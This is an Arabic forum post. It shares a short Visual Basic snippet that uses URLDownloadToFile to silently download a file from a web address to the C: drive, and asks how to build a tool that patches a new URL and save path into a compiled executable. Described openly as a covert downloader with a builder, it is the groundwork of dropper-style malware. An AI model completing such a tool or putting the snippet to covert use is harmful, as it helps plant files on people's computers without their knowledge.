السلام عليكم ورحمة الله وبركاته
اخواني طرات على فكره ولم اقدر ان اطبقها
والفكره هي كالتالي
انا عندي شفره تقوم بانزال ملف بدون مايشعر صاحب الجهاز
هذه هي الشفره
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Private Sub Command1_Click()
lngRetVal = URLDownloadToFile(0, "http://www.website.com/ip.txt", "c:\ip.txt", 0, 0)
End Sub
اريد ان اضعها في ملف تنفيذي
واعمل برنامج يقوم بتعديل على هذه الشفره
مثلا البرنامج يتكون من اثنان تيكست وزر كومند
واريد عندما اضع في التيكست الاول تعديل عنوان تحميل الملف مثلا www.boooo7.com/ip.txt
وفي التيكست الثاني اضع فيه مكان نزول الملف مثلا d:\
وعندما اضغط زر كومند يتم حفظ ماكتبته في الملف التنفيذي
حاولت ان اعملها ماقدرت ياليت احد الاخوان يعلمني ماهي الطريقه
نبغى نتعلم الله يخليكم
وجزاكم الله عنا خيرا


